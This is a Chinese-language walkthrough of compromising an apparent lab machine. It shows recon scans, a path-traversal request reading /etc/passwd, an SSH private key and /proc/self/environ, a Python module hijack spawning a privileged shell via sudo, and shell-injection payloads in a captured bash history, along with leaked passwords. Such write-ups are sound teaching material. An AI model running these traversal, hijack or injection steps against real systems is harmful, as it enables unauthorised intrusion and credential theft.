信息收集

用arp收索一下ip

┌──(root㉿kali)-[~]
└─# arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:04:d2:0f, IPv4: 192.168.81.26
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.81.61   08:00:27:17:43:b4       PCS Systemtechnik GmbH
192.168.81.189  f0:20:ff:13:f9:a2       (Unknown)
192.168.81.181  e6:34:88:c9:d0:6f       (Unknown: locally administered)
192.168.81.181  e6:34:88:c9:d0:6f       (Unknown: locally administered) (DUP: 2)
​
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.950 seconds (131.28 hosts/sec). 3 responded

namp扫一下端口

┌──(root㉿kali)-[~]
└─#  nmap -sC -sV 192.168.81.61 -n -vv -min-rate=2000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-03 15:45 CST
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:45
Completed NSE at 15:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:45
Completed NSE at 15:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:45
Completed NSE at 15:45, 0.00s elapsed
Initiating ARP Ping Scan at 15:45
Scanning 192.168.81.61 [1 port]
Completed ARP Ping Scan at 15:45, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:45
Scanning 192.168.81.61 [65535 ports]
Discovered open port 8080/tcp on 192.168.81.61
Discovered open port 22/tcp on 192.168.81.61
SYN Stealth Scan Timing: About 45.95% done; ETC: 15:46 (0:00:36 remaining)
Completed SYN Stealth Scan at 15:46, 65.73s elapsed (65535 total ports)
Initiating Service scan at 15:46
Scanning 2 services on 192.168.81.61
Completed Service scan at 15:48, 101.21s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.81.61.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:48
Completed NSE at 15:48, 7.08s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:48
Completed NSE at 15:48, 1.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:48
Completed NSE at 15:48, 0.00s elapsed
Nmap scan report for 192.168.81.61
Host is up, received arp-response (0.00088s latency).
Scanned at 2026-01-03 15:45:21 CST for 175s
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:20:27:6a:11:ad:9e:32:d5:55:e0:45:50:7a:22:32 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCr2GTskjClaQ1erFcfJ3LtUy9qsUhJm7RJkZefyf631WUk7ikq13G91ChtLezxnh0aM6Jv775G7IoNsHVBdUBafSEnzvd6iaFHio+jd7TsDjjZYIqSSgSoAvm1j+pq0xZDKMvkRt89Xh2f7UPhOuZo5XrbXTOhBAYS0T9jP80FA9f58mGIThB9d3PCofZGsZLq7qM8eKe9avxh1rmOaDcDMdBV4QsNzbahwncvEuU1mBYNtsIuKou3qAKNlWcmZIGqayt30Umb4UNQlhWRupyQp+nnqSdk4TWUOTbDw4P9wnbjejOiVeLDu4FI/2RbmtxN7vyx0x8fbNGR+jazR5mdi9Jv5rHketsk0jcEQStyMbnfJX6jQX2hEVOpw7Dhh2MxBLE8RkBnMxb8Z6viaeYPivsDi3vhR1VkaBmcBK8wBJ0UIpuMDYoUO/AAJwwKHcsBePaqbwWbYJwq1CnYrbXYC6ZRrx7tynjBKXXHrVppPF+RX2dfzJl70MXRYJghRlE=
|   256 8b:28:87:e5:78:c7:ed:1d:eb:ea:5c:3e:04:f3:2a:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCUlAuupJU/WHnO2vAQ1lb30o58sGEIEqD2OoWIR9v7rWx3R9ilM6sozjhfx0CmNHCXPuksaofzASumqoWmK7Rg=
|   256 61:ab:7f:f0:31:f5:73:6b:4b:5b:d5:2f:a8:b5:32:4c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGHECYlrjWKvrvsgmeI6gitgSZ97SvOUzfWruE6mhTBW
8080/tcp open  http-proxy syn-ack ttl 64
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200
|     Content-Type: text/html
|     Content-Length: 3928
|     Cache-Control: public, max-age=3600
|     <html>
|     <style>
|     .chat-container {
|     max-width: 800px;
|     margin: 0 auto;
|     padding: 20px;
|     font-family: sans-serif;
|     </style>
|     <body>
|     <div id="ai-search-container" style="position: relative; width: 100%; max-width: 800px; margin: 20px auto;">
|     <div class="search-box" style="display: flex; gap: 10px; padding: 10px;">
|     <input 
|     type="text" 
|     id="ai-search-input"
|     placeholder="Ask a question" 
|     style="flex-grow: 1; padding: 12px; border: 2px solid #FFD12F; border-radius: 8px; font-size: 16px;"
|     <button 
|     id="ai-search-button"
|_    style="padding: 12px 24px; background: #FFD12F; border: none; border-radius: 8px; color: #1B4D7A; font-weight: bold; cursor: pointer;"
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.95%I=7%D=1/3%Time=6958C959%P=x86_64-pc-linux-gnu%r(Get
SF:Request,FBC,"HTTP/1\.1\x20200\r\nContent-Type:\x20text/html\r\nContent-
SF:Length:\x203928\r\nCache-Control:\x20public,\x20max-age=3600\r\n\r\n<ht
SF:ml>\n<style>\n\x20\.chat-container\x20{\n\x20\x20\x20\x20max-width:\x20
SF:800px;\n\x20\x20\x20\x20margin:\x200\x20auto;\n\x20\x20\x20\x20padding:
SF:\x2020px;\n\x20\x20\x20\x20font-family:\x20sans-serif;\n\x20\x20}\n</st
SF:yle>\n\n<body>\n\x20\x20<div\x20id=\"ai-search-container\"\x20style=\"p
SF:osition:\x20relative;\x20width:\x20100%;\x20max-width:\x20800px;\x20mar
SF:gin:\x2020px\x20auto;\">\n\x20\x20\x20\x20<div\x20class=\"search-box\"\
SF:x20style=\"display:\x20flex;\x20gap:\x2010px;\x20padding:\x2010px;\">\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20<input\x20\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20type=\"text\"\x20\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20id=\"ai-search-input\"\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20placeholder=\"Ask\x20a\x2
SF:0question\"\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20style=\"flex-grow:\x201;\x20padding:\x2012px;\x20border:\x202px\x20so
SF:lid\x20#FFD12F;\x20border-radius:\x208px;\x20font-size:\x2016px;\"\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20>\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0<button\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20i
SF:d=\"ai-search-button\"\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20style=\"padding:\x2012px\x2024px;\x20background:\x20#FFD12F;\x
SF:20border:\x20none;\x20border-radius:\x208px;\x20color:\x20#1B4D7A;\x20f
SF:ont-weight:\x20bold;\x20cursor:\x20pointer;\"\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20>\n\x20\x20\x20")%r(HTTPOptions,FBC,"HTTP/1\.1\x20200\r\nCo
SF:ntent-Type:\x20text/html\r\nContent-Length:\x203928\r\nCache-Control:\x
SF:20public,\x20max-age=3600\r\n\r\n<html>\n<style>\n\x20\.chat-container\
SF:x20{\n\x20\x20\x20\x20max-width:\x20800px;\n\x20\x20\x20\x20margin:\x20
SF:0\x20auto;\n\x20\x20\x20\x20padding:\x2020px;\n\x20\x20\x20\x20font-fam
SF:ily:\x20sans-serif;\n\x20\x20}\n</style>\n\n<body>\n\x20\x20<div\x20id=
SF:\"ai-search-container\"\x20style=\"position:\x20relative;\x20width:\x20
SF:100%;\x20max-width:\x20800px;\x20margin:\x2020px\x20auto;\">\n\x20\x20\
SF:x20\x20<div\x20class=\"search-box\"\x20style=\"display:\x20flex;\x20gap
SF::\x2010px;\x20padding:\x2010px;\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0<input\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ty
SF:pe=\"text\"\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20id=\"ai-search-input\"\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20placeholder=\"Ask\x20a\x20question\"\x20\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20style=\"flex-grow:\x201;\x20paddi
SF:ng:\x2012px;\x20border:\x202px\x20solid\x20#FFD12F;\x20border-radius:\x
SF:208px;\x20font-size:\x2016px;\"\n\x20\x20\x20\x20\x20\x20\x20\x20\x20>\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20<button\x20\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20id=\"ai-search-button\"\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20style=\"padding:\x2012px\x
SF:2024px;\x20background:\x20#FFD12F;\x20border:\x20none;\x20border-radius
SF::\x208px;\x20color:\x20#1B4D7A;\x20font-weight:\x20bold;\x20cursor:\x20
SF:pointer;\"\n\x20\x20\x20\x20\x20\x20\x20\x20\x20>\n\x20\x20\x20");
MAC Address: 08:00:27:17:43:B4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
​
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:48
Completed NSE at 15:48, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:48
Completed NSE at 15:48, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:48
Completed NSE at 15:48, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 175.25 seconds
           Raw packets sent: 131121 (5.769MB) | Rcvd: 55 (2.404KB)
​

去8080访问后发现是一个对话窗口,但并没有发现什么用。用dirsearch了一下并没发现什么!

┌──(root㉿kali)-[~]
└─# dirsearch dir -u http://192.168.81.61:8080/       
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict
  _|. _ _  _  _  _ _|_    v0.4.3                                                                             
 (_||| _) (/_(_|| (_| )                                                                                                       
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/reports/http_192.168.81.61_8080/__26-01-03_15-53-45.txt
Target: http://192.168.81.61:8080/
[15:53:45] Starting:                                                                                                          
[15:53:46] 200 -  181B  - /.cask                                            
[15:53:48] 200 -  186B  - /.gradletasknamecache                             
[15:53:49] 200 -  164B  - /.idea/tasks.xml                                  
[15:53:50] 404 -  126B  - /.png                                             
[15:53:51] 200 -  186B  - /.rakeTasks                                       
[15:53:52] 200 -  186B  - /.stylish-haskell.yaml                            
[15:53:52] 200 -  173B  - /.vscode/tasks.json                               
[15:53:55] 404 -  265B  - /a4j/s/3_3_3.Finalorg/richfaces/renderkit/html/css/basic_classes.xcss/DATB/
[15:53:56] 200 -  168B  - /actuator/;/scheduledtasks                        
[15:53:56] 200 -  186B  - /actuator/scheduledtasks                          
[15:54:01] 404 -  156B  - /admin_my_avatar.png                              
[15:54:05] 200 -  164B  - /api/cask/graphql                                 
[15:54:05] 404 -  176B  - /api/swagger/static/index.html                    
[15:54:05] 500 -   54B  - /api/whoami                                       
[15:54:07] 404 -  144B  - /base/static/c                                    
[15:54:13] 404 -  156B  - /doc/html/index.html                              
[15:54:13] 404 -  168B  - /docs/html/admin/ch01.html                        
[15:54:13] 404 -  174B  - /docs/html/admin/ch01s04.html
[15:54:13] 404 -  174B  - /docs/html/admin/ch03s07.html
[15:54:13] 404 -  170B  - /docs/html/admin/index.html
[15:54:13] 404 -  176B  - /docs/html/developer/ch02.html
[15:54:13] 404 -  182B  - /docs/html/developer/ch03s15.html
[15:54:13] 404 -  158B  - /docs/html/index.html
[15:54:13] 200 -  173B  - /druid/indexer/v1/taskStatus                      
[15:54:14] 404 -  197B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/ 
[15:54:16] 404 -  127B  - /html/                                            
[15:54:17] 404 -  143B  - /html/cgi-bin/
[15:54:17] 404 -  146B  - /html/config.rb
[15:54:17] 404 -  190B  - /html/js/misc/swfupload/swfupload.swf
[15:54:17] 404 -  196B  - /html/js/misc/swfupload/swfupload_f9.swf
[15:54:17] 404 -  191B  - /html/js/misc/swfupload//swfupload.swf            
[15:54:19] 200 -  181B  - /jbpm-console/app/tasks.jsf                       
[15:54:21] 404 -  143B  - /manager/html/                                    
[15:54:22] 200 -  168B  - /MicroStrategy/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https
[15:54:27] 404 -  180B  - /phpmyadmin/docs/html/index.html                  
[15:54:27] 404 -  178B  - /phpmyadmin/doc/html/index.html                   
[15:54:28] 404 -  162B  - /public_html/robots.txt                           
[15:54:30] 200 -  164B  - /scheduledtasks                                   
[15:54:31] 200 -  164B  - /servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https
[15:54:33] 404 -  164B  - /static/api/swagger.json                          
[15:54:33] 404 -  164B  - /static/api/swagger.yaml                          
[15:54:33] 404 -  148B  - /static/dump.sql
[15:54:34] 200 -  173B  - /tasks/                                           
[15:54:37] 404 -  142B  - /web/static/c                               
Task Completed 

用AWVS扫描一下发现了一个Next.js中任意读取的文件

然后通过yakit进行抓包成功读取了/etc/passwd

然后找到可以远程登录的用户

┌──(root㉿kali)-[~]
└─# >echo "                                                                                                 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:116::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:117:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:118:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:121:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
lightdm:x:114:122:Light Display Manager:/var/lib/lightdm:/bin/false
speech-dispatcher:x:115:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:116:124:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:117:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:118:126::/var/lib/saned:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:127::/nonexistent:/bin/false
colord:x:121:128:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
fwupd-refresh:x:122:129:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
pulse:x:123:130:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
vboxuser:x:1000:1000:vboxuser,,,:/home/vboxuser:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
raton:x:1001:1001::/home/raton:/bin/bash
sshd:x:124:65534::/run/sshd:/usr/sbin/nologin
odoo:x:125:134:odoo,,,:/opt/odoo:/bin/bash
postgres:x:126:135:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
grafana:x:127:136::/usr/share/grafana:/bin/false
churrumais:x:1002:1002::/home/churrumais:/bin/sh
log_agent:x:128:138::/home/log_agent:/usr/sbin/nologin " | grep bash
​
root:x:0:0:root:/root:/bin/bash
vboxuser:x:1000:1000:vboxuser,,,:/home/vboxuser:/bin/bash
raton:x:1001:1001::/home/raton:/bin/bash
odoo:x:125:134:odoo,,,:/opt/odoo:/bin/bash
postgres:x:126:135:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash                                                                                 

然后再利用LFI漏洞读取ssh密钥试试,成功获得raton的ssh密钥

HTTP/1.1 200
Content-Type: application/octet-stream
Cache-Control: public, max-age=3600
Content-Length: 2602
​
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

我还以为可以用ssh成功上去了但事事难预料呀!结果用ssh链接时发生报错,不能用密钥登录,还是要用密码!

┌──(root㉿kali)-[/opt/zd]
└─# ssh raton@192.168.81.61 -i id2                
The authenticity of host '192.168.81.61 (192.168.81.61)' can't be established.
ED25519 key fingerprint is: SHA256:YDTCNmlEFWKraxkJLyrJ2iclum6c/Vb9y9T2ARxG0gI
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.81.61' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
raton@192.168.81.61's password: 
Permission denied, please try again.
raton@192.168.81.61's password: 
Permission denied, please try again.
raton@192.168.81.61's password: 
raton@192.168.81.61: Permission denied (publickey,password).

经过一段收索,最终还是要用LFI读取文件,经过搜索发现环境变量中竟然有一个密码 SNOWFLAKE_PASSWORD=ratonguaton

GET /static/../../../../../proc/self/environ HTTP/1.1
Host: 192.168.81.61:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
​
​
HTTP/1.1 200
Content-Type: application/octet-stream
Cache-Control: public, max-age=3600
Content-Length: 699
​
LANG=en_US.UTF-8 LANGUAGE=en_US: LC_ADDRESS=es_MX.UTF-8 LC_IDENTIFICATION=es_MX.UTF-8 LC_MEASUREMENT=es_MX.UTF-8 LC_MONETARY=es_MX.UTF-8 LC_NAME=es_MX.UTF-8 LC_NUMERIC=es_MX.UTF-8 LC_PAPER=es_MX.UTF-8 LC_TELEPHONE=es_MX.UTF-8 LC_TIME=es_MX.UTF-8 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin HOME=/home/raton LOGNAME=raton USER=raton SHELL=/bin/bash INVOCATION_ID=1abdc01495ee436ebdcbce4b4d454580 JOURNAL_STREAM=8:23242 AZURE_OPENAI_API_KEY=sk-example1234567890abcdef1234567890 AZURE_OPENAI_ENDPOINT=https://example.openai.azure.com/ AZURE_OPENAI_API_VERSION=2023-05-15 SNOWFLAKE_ACCOUNT=myorg-myaccount SNOWFLAKE_USER=user_new SNOWFLAKE_PASSWORD=ratonguaton PORT=8080 

然后输入这个密码成功上去了!

提权

上去后发现目录下有很多文件,先看看sudo能用不!发现能用,通过尝试最后决定通过劫持进行提取!提权到churrumais成功!

raton@cuentos:~/Desktop$ sudo -l
Matching Defaults entries for raton on cuentos:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
​
User raton may run the following commands on cuentos:
    (churrumais) NOPASSWD: /usr/bin/python3 /home/raton/Desktop/raton.py
​
aton@cuentos:~/Desktop$ ls -al /home/raton/Desktop/raton.py
-rw-r--r-- 1 root root 23665 sep 16 01:33 /home/raton/Desktop/raton.py
raton@cuentos:~/Desktop$ ls  -al
total 60
drwxrwxr-x  2 raton raton  4096 ene  3 09:02 .
drwxr-xr-x 12 raton raton  4096 sep 16 00:46 ..
-rwxrwxr-x  1 raton raton    38 ene  3 09:02 random.py
-rw-r--r--  1 root  root  23665 sep 16 01:33 raton.py
-rwxr-xr-x  1 root  root  20701 ago 25 01:30 raton.py.save
raton@cuentos:~/Desktop$ cat random.py
import os;
os.system('/bin/bash -p');
raton@cuentos:~/Desktop$ sudo -u churrumais /usr/bin/python3 /home/raton/Desktop/raton.py
churrumais@cuentos:/home/raton/Desktop$

上去churrumais后直接到用户目录下去看一下发现,有.bash_history的日志没有删除!

churrumais@cuentos:~$ ls -al
total 68
drwxr-xr-x 6 churrumais churrumais 4096 dic  9 12:26 .
drwxr-xr-x 4 root       root       4096 sep 12 23:14 ..
-rw------- 1 churrumais churrumais 8337 ene  3 09:19 .bash_history
-rw-r--r-- 1 churrumais churrumais  220 feb 25  2020 .bash_logout
-rw-r--r-- 1 churrumais churrumais 3811 sep 14 00:44 .bashrc
drwx------ 2 churrumais churrumais 4096 sep 14 00:53 .cache
drwxr-xr-x 5 churrumais churrumais 4096 sep 14 00:53 .config
drwxrwxr-x 3 churrumais churrumais 4096 sep 11 16:55 .local
-rw-r--r-- 1 churrumais churrumais  807 feb 25  2020 .profile
drwxrwxr-x 2 churrumais churrumais 4096 dic  9 12:26 .ssh
-rw-rw-r-- 1 churrumais churrumais 1048 dic  9 12:18 system_report_20251209_121827.json
-rw-rw-r-- 1 churrumais churrumais 1049 dic  9 12:19 system_report_20251209_121933.json
-rw-rw-r-- 1 churrumais churrumais 1033 dic  9 12:21 system_report_20251209_122120.json
-rw-r--r-- 1 churrumais churrumais 1600 abr  8  2020 .Xdefaults
-rw-r--r-- 1 churrumais churrumais   14 abr  8  2020 .xscreensaver
churrumais@cuentos:~$ cat .bash_history
​
ls -l
ps aux | grep loganalyzer
cat /opt/loganalyzer/app.py
curl -c /tmp/cookies.txt -X POST http://127.0.0.1:5000/login -d 'username=churrumais&password=VillaeEla13'
curl -c /tmp/cookies.txt -X POST http://127.0.0.1:5000/login -d 'username=churrumais&password=VillaeEla13' -r
curl -c /tmp/cookies.txt -X POST http://127.0.0.1:5000/login -d 'username=churrumais&password=VillaeEla13' -l
curl -c /tmp/cookies.txt -X POST http://127.0.0.1:5000/login -d 'username=churrumais&password=VillaeEla13' -L
curl -c /tmp/cookies.txt -X POST http://127.0.0.1:5000/login -d 'username=churrumais&password=VillaeEla13'curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs   -d "filter=' ; cat /root/root.txt #"
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs   -d "filter=' ; cat /root/root.txt #"
cat /tmp/cookies.txt 
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs   -d "filter=' ; cat /root/root.txt #"
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs   -d "filter=' ; id #"
curl -b /tmp/cookies.txt -X POST http://127.0.0.1:5000/search_logs -d "filter=' ; id #"
